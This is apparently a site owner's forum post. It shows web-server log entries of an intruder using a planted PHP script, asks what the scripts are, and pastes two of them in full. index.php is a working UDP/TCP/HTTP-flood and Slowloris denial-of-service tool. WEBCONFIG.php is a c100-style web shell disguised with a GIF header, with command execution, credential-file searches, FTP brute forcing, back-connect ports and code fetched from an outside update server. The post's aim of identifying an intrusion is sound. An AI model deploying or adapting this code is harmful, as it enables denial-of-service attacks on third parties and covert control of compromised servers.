77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:45:16 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:45:22 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=80.118.107.19&time=100&type=UDP HTTP/1.1" 200 1213 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:12:04:25 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=80.118.107.19&time=100&type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:12:04:27 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:12:04:34 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=80.118.107.19&time=6000&type=UDP HTTP/1.1" 200 1218 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:12:46:16 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=82.232.54.229&time=59&type=UDP HTTP/1.1" 200 1212 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
What are these scripts?
index.php :
# Simple password protection
#
# (c) http://www.jdiditn.freeiz.com
# Author: jdidiTN hack
# Feel free to use this script but keep this message intact!
#
# To protect a page include this file in your PHP pages!
session_start();
$admin_user_name = "salim";
$admin_password = "salim";
//you can change the username and password by changing the above two strings
if (!isset($HTTP_SESSION_VARS['user'])) {
if(isset($HTTP_POST_VARS['u_name']))
$u_name = $HTTP_POST_VARS['u_name'];
if(isset($HTTP_POST_VARS['u_password']))
$u_password = $HTTP_POST_VARS['u_password'];
if(!isset($u_name)) {
?>
<?php echo $HTTP_SERVER_VARS['HTTP_HOST']; ?> : Authentication Required
(Pour Accder La Page , Tapez Login Et Mot De Passe)
$form_to = "http://$HTTP_SERVER_VARS[HTTP_HOST]$HTTP_SERVER_VARS[PHP_SELF]";
if(isset($HTTP_SERVER_VARS["QUERY_STRING"]))
$form_to = $form_to ."?". $HTTP_SERVER_VARS["QUERY_STRING"];
?>
$date = date("d-m-Y");
$heure = date("H:i");
Print("Nous sommes le $date et il est $heure");
?>
exit;
}
else {
function login_error($host,$php_self) {
echo "
$host : Administration
";
echo "Error: You are not authorized to access this part of the site!
Click here to login again.
";
session_unregister("adb_password");
session_unregister("user");
exit;
}
$user_checked_passed = false;
if(isset($HTTP_SESSION_VARS['adb_password'])) {
$adb_session_password = $HTTP_SESSION_VARS['adb_password'];
$adb_session_user = $HTTP_SESSION_VARS['user'];
if($admin_password != $adb_session_password)
login_error($HTTP_SERVER_VARS['HTTP_HOST'],$HTTP_SERVER_VARS['PHP_SELF']);
else {
$user_checked_passed = true;
}
}
if($user_checked_passed == false) {
if(strlen($u_name)< 2)
login_error($HTTP_SERVER_VARS['HTTP_HOST'],$HTTP_SERVER_VARS['PHP_SELF']);
if(isset($admin_password)) {
if($admin_password == $u_password) {
session_register("adb_password");
session_register("user");
$adb_password = $admin_password;
$user = $u_name;
}
else { //password in-correct
login_error($HTTP_SERVER_VARS['HTTP_HOST'],$HTTP_SERVER_VARS['PHP_SELF']);
}
}
else {
login_error($HTTP_SERVER_VARS['HTTP_HOST'],$HTTP_SERVER_VARS['PHP_SELF']);
}
$page_location = $HTTP_SERVER_VARS['PHP_SELF'];
if(isset($HTTP_SERVER_VARS["QUERY_STRING"]))
$page_location = $page_location ."?". $HTTP_SERVER_VARS["QUERY_STRING"];
header ("Location: ". $page_location);
}
}
}
?>
/
Coded by jdidiTN hack
/
$type = $_GET['type'];
$host = $_GET['host'];
$time = $_GET['time'];
$port = $_GET['port'];
$page = $_GET['page'];
$myna = $_SERVER[PHP_SELF];
$page = '' . "\n";
$page .= ' ' . "\n";
$page .= ' ' . "\n";
$page .= ' ' . "\n";
$page .= ' ' . "\n";
$page .= '
' . "\n";
$page .= ' ' . "\n";
$page .= '
' . "\n";
$page .= '
' . "\n";
if ( isset( $_GET['type'] ) )
{
if ( $type == "UDP" )
{
if ( $_GET['host'] != '' && $_GET['time'] != '' )
{
$page .= UDP_FLOOD( $host , $time );
}
else
{
$page .= ' UDP Flood
' . "\n";
$page .= ' ' . "\n";
}
}
elseif ( $type == "TCP" )
{
if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['port'] != '' )
{
$page .= TCP_FLOOD ( $host , $port , $time );
}
}
elseif ( $type == "HTTP" )
{
if ( $_GET['host'] != '' && $_GET['time'] != '' && $_GET['page'] != '' )
{
$page .= HTTP_FLOOD ( $host , $page , $time );
}
}
else
{
$page .= ' jdidiTN NIK TOUT
' . "\n";
$page .= ' Slectionnez Le Type De Flood
' . "\n";
$page .= ' ' . "\n";
}
}
else
{
$page .= ' jdiditN NIK TOUT
' . "\n";
$page .= ' Slectionnez Le Type De Flood
' . "\n";
$page .= ' ' . "\n";
}
$page .= '
' . "\n";
$page .= ' ' . "\n";
$page .= '' . "\n";
print$page;
/////////////////////////////////////////////////////////////////////////////////////////////////////////
// UDP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////
function UDP_Flood( $host , $length )
{
ignore_user_abort(TRUE);
set_time_limit(0);
$max_time = time() + $length;
$packet = "";
$packets = 0;
while( strlen ( $packet ) < 65000 )
{
$packet .= Chr( 255 );
}
while( 1 )
{
if ( time() > $max_time )
{
break;
}
$rand = rand( 1 , 65535 );
@$fp = fsockopen( 'udp://'.$host, $rand, $errno, $errstr, 5 );
if( $fp )
{
fwrite( $fp , $packet );
fclose( $fp );
$packets++;
}
}
if ( $packets == 0 )
{
$rtn = 'UDP Flood
' . "\n";
$rtn .= '' . "\n";
' . "\n";
$rtn .= '
An error occurred! Could not send packets.
' . "\n";
}
else
{
$rtn = 'UDP Flood
' . "\n";
$rtn .= '' . "\n";
' . "\n";
}
return$rtn;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////
// TCP FLOOD ////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////
function TCP_Flood( $host , $port , $length )
{
ignore_user_abort(TRUE);
set_time_limit(0);
$max_time = time() + $length;
$packet = "";
$packets = 0;
while( strlen ( $packet ) < 65000 )
{
$packet .= Chr( 255 );
}
@$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
while( 1 )
{
if ( time() > $max_time )
{
break;
}
if( $fp )
{
fwrite( $fp , $packet );
fclose( $fp );
$packets++;
}
else
{
@$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
}
}
if ( $packets == 0 )
{
$rtn = 'TCP Flood
' . "\n";
$rtn .= '' . "\n";
' . "\n";
$rtn .= '
An error occurred! Could not send packets.
' . "\n";
}
else
{
$rtn = 'TCP Flood
' . "\n";
$rtn .= '' . "\n";
' . "\n";
}
return$rtn;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////
// HTTP FLOOD ///////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////
function HTTP_Flood( $host , $page , $length )
{
ignore_user_abort(TRUE);
set_time_limit(0);
if ( $page == '' )
{
$page = '/';
}
$max_time = time() + $length;
$packet .= 'GET ' . $page . ' HTTP/1.1' . "\r\n";
$packet .= ' Host: ' . $host . "\r\n";
$packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
$packet .= 'Keep-alive: 300' . "\r\n";
$packet .= 'Connection: keep-alive' . "\r\n\r\n";
@$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
while( 1 )
{
if ( time() > $max_time )
{
break;
}
if( $fp )
{
fwrite( $fp , $packet );
fclose( $fp );
$packets++;
}
else
{
@$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
}
}
if ( $packets == 0 )
{
$rtn = 'HTTP Flood
' . "\n";
$rtn .= '' . "\n";
' . "\n";
$rtn .= '
An error occurred! Could not send packets.
' . "\n";
}
else
{
$rtn = 'HTTP Flood
' . "\n";
$rtn .= '' . "\n";
' . "\n";
}
return$rtn;
}
/////////////////////////////////////////////////////////////////////////////////////////////////////////
// SLOWLORIS ///////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////
function SLOWLORIS( $host , $page , $length )
{
ignore_user_abort(TRUE);
set_time_limit(0);
if ( $page == '' )
{
$page = '/';
}
$max_time = time() + $length;
$packet .= 'POST ' . $page . ' HTTP/1.1' . "\r\n";
$packet .= ' Host: ' . $host . "\r\n";
$packet .= 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0b7) Gecko/20100101 Firefox/4.0b7' . "\r\n";
$packet .= 'Content-length: 42' . "\r\n\r\n";
@$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
while( 1 )
{
if ( time() > $max_time )
{
break;
}
if( $fp )
{
fwrite( $fp , $packet );
fclose( $fp );
$packets++;
}
else
{
@$fp = fsockopen( $host, 80, $errno, $errstr, 5 );
}
}
if ( $packets == 0 )
{
$rtn = 'Slowloris
' . "\n";
$rtn .= '' . "\n";
' . "\n";
$rtn .= '
An error occurred! Could not send packets.
' . "\n";
}
else
{
$rtn = 'Slowloris
' . "\n";
$rtn .= '' . "\n";
' . "\n";
}
return$rtn;
}
?>
$date = date("d-m-Y");
$heure = date("H:i");
Print("Nous sommes le $date et il est $heure");
?>
end of index.php
and
WEBCONFIG.php
GIF89aP;
//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
$shver = "c100"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("k1r4_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("k1r4_surl",$surl);}
else {$surl = $_REQUEST["k1r4_surl"]; //Set this cookie for manual SURL
}
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
if ($surl_autofill_include and !$_REQUEST["k1r4_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
$surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);
$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.
$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = " Shell [ci] . Biz ".$shver.": access denied";
$gzipencode = TRUE; //Encode with gzip?
$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)
$k1r4_updateurl = "http://emp3ror.com/kira//update/"; //Update server
$k1r4_sourcesurl = "http://emp3ror.com/kira/"; //Sources-server
$filestealth = TRUE; //if TRUE, don't change modify- and access-time
$donated_html = "Owned by Shell [ci] .Biz ";
/ If you publish free shell and you wish
add link to your site or any other information,
put here your html. /
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
$log_email = "shell4spam@gmail.com"; //Default e-mail for sending logs
$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.
// Registered file-types.
// array(
// "{action1}"=>array("ext1","ext2","ext3",...),
// "{action2}"=>array("ext4","ext5","ext6",...),
// ...
// )
$ftypes = array(
"html"=>array("html","htm","shtml"),
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
"exe"=>array("sh","install","bat","cmd"),
"ini"=>array("ini","inf"),
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
"sdb"=>array("sdb"),
"phpsess"=>array("sess"),
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
// Registered executable file-types.
// array(
// string "command{i}"=>array("ext1","ext2","ext3",...),
// ...
// )
// {command}: %f% = filename
$exeftypes = array(
getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
"perl %f%" => array("pl","cgi")
);
/ Highlighted files.
array(
i=>array({regexp},{type},{opentag},{closetag},{break})
...
)
string {regexp} - regular exp.
int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
string {opentag} - open html-tag, e.g. "" (default)
string {closetag} - close html-tag, e.g. "" (default)
bool {break} - if TRUE and found match then break
/
$regxp_highlight = array(
array(basename($_SERVER["PHP_SELF"]),1,"",""), // example
array("config.php",1) // example
);
$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
// array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
$nixpwdperpage = 100; // Get first N lines from /etc/passwd
$bindport_pass = "k1r4"; // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe
// Command-aliases
if (!$win)
{
$cmdaliases = array(
array("-----------------------------------------------------------", "ls -la"),
array("find all suid files", "find / -type f -perm -04000 -ls"),
array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
array("find all sgid files", "find / -type f -perm -02000 -ls"),
array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
array("find config.inc.php files", "find / -type f -name config.inc.php"),
array("find config* files", "find / -type f -name \"config*\""),
array("find config* files in current dir", "find . -type f -name \"config*\""),
array("find all writable folders and files", "find / -perm -2 -ls"),
array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
array("find all service.pwd files", "find / -type f -name service.pwd"),
array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
array("find all .htpasswd files", "find / -type f -name .htpasswd"),
array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
array("find all .bash_history files", "find / -type f -name .bash_history"),
array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
array("list file attributes on a Linux second extended file system", "lsattr -va"),
array("show opened ports", "netstat -an | grep -i listen")
);
}
else
{
$cmdaliases = array(
array("-----------------------------------------------------------", "dir"),
array("show opened ports", "netstat -an")
);
}
$sess_cookie = "k1r4vars"; // Cookie-variable name
$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting
//Quick launch
$quicklaunch = array(
array("![\"Home\"](\"".$surl."act=img&img=home\")
",$surl),
array("![\"Back\"](\"".$surl."act=img&img=back\")
","#\" onclick=\"history.back(1)"),
array("![\"Forward\"](\"".$surl."act=img&img=forward\")
","#\" onclick=\"history.go(1)"),
array("![\"UPDIR\"](\"".$surl."act=img&img=up\")
",$surl."act=ls&d=%upd&sort=%sort"),
array("![\"Refresh\"](\"".$surl."act=img&img=refresh\")
",""),
array("![\"Search\"](\"".$surl."act=img&img=search\")
",$surl."act=search&d=%d"),
array("![\"Buffer\"](\"".$surl."act=img&img=buffer\")
",$surl."act=fsbuff&d=%d"),
array("Encoder",$surl."act=encoder&d=%d"),
array("Tools",$surl."act=tools&d=%d"),
array("Proc.",$surl."act=processes&d=%d"),
array("FTP brute",$surl."act=ftpquickbrute&d=%d"),
array("Sec.",$surl."act=security&d=%d"),
array("SQL",$surl."act=sql&d=%d"),
array("PHP-code",$surl."act=eval&d=%d"),
array("Update",$surl."act=update&d=%d"),
array("Feedback",$surl."act=feedback&d=%d"),
array("Self remove",$surl."act=selfremove"),
array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);
//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";
@$f = $_REQUEST["f"];
@extract($_REQUEST["k1r4cook"]);
//END CONFIGURATION
// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("kira: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
if (empty($md5_pass)) {$md5_pass = md5($pass);}
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
{
if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |
"," ",$donated_html));}
header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\"");
header("HTTP/1.0 401 Unauthorized");
exit($accessdeniedmess);
}
}
if ($act != "img")
{
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
$disablefunc = str_replace(" ","",$disablefunc);
$disablefunc = explode(",",$disablefunc);
}
if (!function_exists("k1r4_buff_prepare"))
{
function k1r4_buff_prepare()
{
global $sess_data;
global $act;
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
$sess_data["copy"] = array_unique($sess_data["copy"]);
$sess_data["cut"] = array_unique($sess_data["cut"]);
sort($sess_data["copy"]);
sort($sess_data["cut"]);
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
k1r4_buff_prepare();
if (!function_exists("k1r4_sess_put"))
{
function k1r4_sess_put($data)
{
global $sess_cookie;
global $sess_data;
k1r4_buff_prepare();
$sess_data = $data;
$data = serialize($data);
setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
if (!empty($_GET[$v])) {$$v = $_GET[$v];}
if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
if (!empty($sort)) {setcookie("sort",$sort);}
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
if (strlen($content) > $len)
{
$len = ceil($len/2) - 2;
return substr($content, 0,$len)."...".substr($content,-$len);
}
else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
if (!is_numeric($size)) {return FALSE;}
else
{
if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
else {$size = $size . " B";}
return $size;
}
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (!is_dir(dirname($t))) {mkdir(dirname($t));}
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_copy_dir($d,$t);
}
elseif (is_file($d)) {return copy($d,$t);}
else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
$h = opendir($d);
if (!is_dir($t)) {mkdir($t);}
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
$ret = TRUE;
if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
if (!$ret) {return $ret;}
}
}
closedir($h);
return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
$t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
if (is_dir($d))
{
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
return fs_move_dir($d,$t);
}
elseif (is_file($d))
{
if(copy($d,$t)) {return unlink($d);}
else {unlink($t); return FALSE;}
}
else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
$h = opendir($d);
while (($o = readdir($h)) !== FALSE)
{
if (($o != ".") and ($o != ".."))
{
if (!is_dir($d.$o)) {unlink($d.$o);}
else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
}
}
closedir($h);
rmdir($d);
return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
$o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
if (is_dir($o))
{
if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
return fs_rmdir($o);
}
elseif (is_file($o)) {return unlink($o);}
else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
global $disablefunc;
$result = "";
if (!empty($cmd))
{
if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
elseif (($result = `$cmd`) !== FALSE) {}
elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
elseif (is_resource($fp = popen($cmd,"r")))
{
$result = "";
while(!feof($fp)) {$result .= fread($fp,1024);}
pclose($fp);
}
}
return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$type = "s";}
elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
else {$type = "?";}
$owner["read"] = ($mode & 00400)?"r":"-";
$owner["write"] = ($mode & 00200)?"w":"-";
$owner["execute"] = ($mode & 00100)?"x":"-";
$group["read"] = ($mode & 00040)?"r":"-";
$group["write"] = ($mode & 00020)?"w":"-";
$group["execute"] = ($mode & 00010)?"x":"-";
$world["read"] = ($mode & 00004)?"r":"-";
$world["write"] = ($mode & 00002)? "w":"-";
$world["execute"] = ($mode & 00001)?"x":"-";
if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
if (($mode & 0xC000) === 0xC000) {$t = "s";}
elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
else {$t = "?";}
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != "d") {$second = "a";}
return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
if (!is_readable($o)) {return "".view_perms(fileperms($o))."";}
elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";}
else {return "".view_perms(fileperms($o))."";}
}
}
if (!function_exists("k1r4getsource"))
{
function k1r4getsource($fn)
{
global $k1r4_sourcesurl;
$array = array(
"k1r4_bindport.pl" => "k1r4_bindport_pl.txt",
"k1r4_bindport.c" => "k1r4_bindport_c.txt",
"k1r4_backconn.pl" => "k1r4_backconn_pl.txt",
"k1r4_backconn.c" => "k1r4_backconn_c.txt",
"k1r4_datapipe.pl" => "k1r4_datapipe_pl.txt",
"k1r4_datapipe.c" => "k1r4_datapipe_c.txt",
);
$name = $array[$fn];
if ($name) {return file_get_contents($k1r4_sourcesurl.$name);}
else {return FALSE;}
}
}
if (!function_exists("k1r4_getupdate"))
{
function k1r4_getupdate($update = TRUE)
{
$url = $GLOBALS["k1r4_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
$data = @file_get_contents($url);
if (!$data) {return "Can't connect to update-server!";}
else
{
$data = ltrim($data);
$string = substr($data,3,ord($data{2}));
if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
